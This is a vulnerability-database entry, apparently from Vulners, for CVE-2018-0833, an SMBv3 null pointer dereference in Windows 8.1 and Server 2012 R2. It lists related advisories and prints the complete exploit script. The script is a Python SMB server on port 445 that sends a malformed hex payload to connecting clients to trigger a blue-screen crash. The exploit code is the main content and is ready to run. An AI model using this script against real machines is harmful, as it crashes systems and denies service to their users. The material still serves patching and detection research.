Microsoft Windows 8.1/2012 R2 - SMBv3 Null Pointer Dereference Denial of Service

🗓️ 27 Feb 2018 00:00:00Reported by Nabeel AhmedType

Microsoft Windows SMB Client Null Pointer Dereference Denial of Service vulnerability in SMBv

Reporter	Title	Published	Views	Family All 26
0day.today	Microsoft Windows 8.1/2012 R2 - SMB Denial of Service Exploit	27 Feb 201800:00	–	zdt
Gitee	Exploit for CVE-2017-0213	30 Mar 202007:11	–	gitee
Gitee	Exploit for CVE-2017-0213	2 May 202111:53	–	gitee
Gitee	Exploit for CVE-2017-0213	6 Jul 201821:17	–	gitee
Gitee	Exploit for CVE-2017-0213	18 Feb 202023:55	–	gitee
Gitee	Exploit for CVE-2017-0213	6 May 202011:50	–	gitee
Gitee	Exploit for CVE-2017-0213	25 Aug 202000:20	–	gitee
BDU FSTEC	The vulnerability of the mrxsmb.sys module, part of the Microsoft Server Message Block protocol (SMBv2/SMBv3), in Windows operating systems allows a hacker to cause a service failure.	1 Mar 201800:00	–	bdu_fstec
Circl	CVE-2018-0833	27 Feb 201800:00	–	circl
CNVD	Microsoft Server Message Block Client Denial of Service Vulnerability	26 Feb 201800:00	–	cnvd

# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
# Date: 26/02/2018
# Exploit Author: Nabeel Ahmed
# Version: SMBv3
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
# CVE : CVE-2018-0833

import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
        def handle(self):
                try:
                        print "From:", self.client_address
                        print "[*]Sending Payload..."
                        self.request.send(unhexlify(payload))
                except Exception:
                        print "BSoD Triggered on", self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()

27 Feb 2018 00:00Current

5.5Medium risk

Vulners AI Score5.5

CVSS 35.3

CVSS 26.3

EPSS0.74526